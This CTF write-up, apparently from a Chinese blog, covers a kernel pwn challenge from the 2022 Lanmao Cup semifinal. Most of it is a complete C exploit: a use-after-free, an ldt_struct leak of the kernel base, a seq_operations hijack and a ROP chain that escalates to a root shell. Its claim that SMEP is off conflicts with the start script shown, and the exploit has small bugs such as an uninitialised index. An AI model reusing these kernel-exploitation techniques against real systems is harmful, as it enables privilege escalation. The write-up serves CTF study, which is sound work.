2025-03第一周:2022蓝帽杯半决 Smurfs
每周一pwn系列
基本信息
内核版本 5.10.102
start.sh
#!/bin/sh qemu-system-x86_64 \ -m 128M \ -kernel ./bzImage \ -initrd ./rootfs.cpio \ -monitor /dev/null \ -append "root=/dev/ram console=ttyS0 oops=panic quiet panic=1 kaslr" \ -cpu kvm64,+smep\ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \ -no-reboot
没开 smap 和 smep
init
#!/bin/sh mkdir /tmp mount -t proc none /proc mount -t sysfs none /sys mount -t debugfs none /sys/kernel/debug mount -t devtmpfs devtmpfs /dev mount -t tmpfs none /tmp mdev -s echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds" insmod /test.ko chmod 666 /dev/kernelpwn chmod 740 /flag echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict chmod 400 /proc/kallsyms poweroff -d 120 -f & setsid /bin/cttyhack setuidgid 1000 /bin/sh umount /proc umount /tmp poweroff -d 0 -f
逆向分析
- kernel_init
注册了一个杂项设备 kernelpwn
- kernel_exit
kernel_ioctl
- add
需要传递的是一个结构体:struct add_args { size_t size; char *buf; };
正常的kmalloc申请对象,addrList最多存储两个对象地址
- edit
需要传递的是一个结构体:struct edit_args{ size_t idx; size_t size; char *buf; };
size_low = LODWORD(a1.size); 只能写入size的低32位的大小
- del
也需要传递 edit_args 结构体
存在UAF
漏洞利用
有两个任意大小的UAF
没开smap&smep,可以直接把内核栈迁移到用户空间去走rop,这里劫持 tty_struct 失败了,选择劫持 seq_operations
如何泄露内核基地址?利用 ldt_struct 结构体和 modify_ldt 系统调用来爆破物理直接映射区地址,泄露出 secondary_startup_64 得到内核基址
EXP
#define _GNU_SOURCE
#include <sys/mman.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <asm/ldt.h>
#include <sys/syscall.h>
/*
user_cs;
user_rflags;
user_sp;
user_ss;
*/
#define RDI 0xffffffff8108c420 + koff
#define ESP_PIVOT 0xffffffff819dd275 + koff //mov esp, 0x39fffdfc; ret;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0;
size_t init_cred = 0xffffffff82a6b700;
size_t commit_creds = 0xffffffff810c9540;
size_t prepare_kernel_cred = 0xffffffff810c99d0;
size_t koff;
size_t user_cs,user_ss,user_rsp,user_rflags;
static void saveStatus(){
asm volatile(
"mov %0,cs;"
"mov %1,ss;"
"mov %2,rsp;"
"pushf;"
"pop %3;"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
);
puts("[*] Success to saveStatus!");
}
static void errExit(char * msg){
printf("\033[1;31m[!] Error: %s\033[0m\n", msg);
exit(EXIT_FAILURE);
}
void bindCore(int core)
{
cpu_set_t cpu_set;
printf("[*] Set cpu affinity %d\n", core);
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
static void getRootShell(void){
if (!getuid()){
puts("\033[1;31;37m[*] <WIN>\033[0m");
system("/bin/sh");
}
else{
puts("\033[1;31m[x] <Get Root Failed>\033[0m");
}
}
struct add_args {
size_t size;
char *buf;
}req1;
struct edit_args{
size_t idx;
size_t size;
char *buf;
}req2;
int fd;
int add(int size, char *buf){
req1.size = size;
req1.buf = buf;
return ioctl(fd, ' ', &req1);
}
int edit(int idx, int size, char *buf){
req2.idx = idx;
req2.size = size;
req2.buf = buf;
return ioctl(fd, 'P', &req2);
}
int del(int idx){
req2.idx = idx;
return ioctl(fd, '0', &req2);
}
int main(int argc, char *argv[], char *envp[]){
saveStatus();
bindCore(0);
fd = open("/dev/kernelpwn", O_RDWR);
if (fd < 0) errExit("Dev open failed");
struct user_desc desc;
desc.base_addr = 0xff0000;
desc.entry_number = 0x8000 / 8;
desc.limit = 0;
desc.seg_32bit = 0;
desc.contents = 0;
desc.limit_in_pages = 0;
desc.lm = 0;
desc.read_exec_only = 0;
desc.seg_not_present = 0;
desc.useable = 0;
char buf1[0x10]={0};
int r = add(0x10, buf1);
if (r != 0) printf("add return failed %d\n", r);
del(0);
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
size_t page_offset_base_init=0xffff888000000000;
size_t page_offset_base = page_offset_base_init;
size_t temp;
int retval;
while(1) {
*(size_t *)buf1 = page_offset_base;
r = edit(0, 8, buf1);
if (r != 0) printf("edit return failed %d\n", r);
retval = syscall(SYS_modify_ldt, 0, &temp, 8);
if (retval > 0) {
printf("[*] read data: %lx\n", temp);
break;
}
else if (retval == 0) {
errExit("no mm->context.ldt!");
}
page_offset_base += 0x1000000;
}
printf("\033[32m\033[1m[+] Found page_offset_base: \033[0m0x%lx\n",
page_offset_base);
*(size_t *)buf1 = page_offset_base + 0x9d000;
r = edit(0, 8, buf1);
if (r != 0) printf("edit return failed %d\n", r);
retval = syscall(SYS_modify_ldt, 0, &temp, 8);
if (retval > 0) {
printf("[*] secondary_startup_64(): 0x%lx\n", temp);
koff = temp - 0xffffffff81000040;//secondary_startup_64
printf("[*] koff = 0x%lx\n", koff);
}
char buf[0x20];
r = add(0x20, buf);
if (r != 0) printf("add return failed %d\n", r);
del(1);
int stat_fds[10];
for(int i=0; i<=10; i++){
stat_fds[i]=open("/proc/self/stat", O_RDONLY);
if (stat_fds[i]<0) printf("stat %d open failed\n", i);
}
*(size_t *)buf=(size_t)ESP_PIVOT;
r = edit(1, 8, buf);
if (r != 0) printf("edit return failed %d\n", r);
char *userland = mmap((void *)(0x39000000 - 0x4000), 0x8000,
PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
size_t ropchain[0x20];
int i;
ropchain[i++]=RDI;
ropchain[i++]=init_cred+koff;
ropchain[i++]=commit_creds+koff;
ropchain[i++]=swapgs_restore_regs_and_return_to_usermode+0x1b+koff;
ropchain[i++]=0;
ropchain[i++]=0;
ropchain[i++]=(size_t)getRootShell;
ropchain[i++]=user_cs;
ropchain[i++]=user_rflags;
ropchain[i++]=user_rsp;
ropchain[i++]=user_ss;
memcpy(userland+0x4000, ropchain, sizeof ropchain);
for(int i=0; i<=10; i++){
read(stat_fds[i], "x1nri", 5);
}
return 0;
}
对面内核会两分钟重启,试了好多次终于在重启之前传上去并打通了呜呜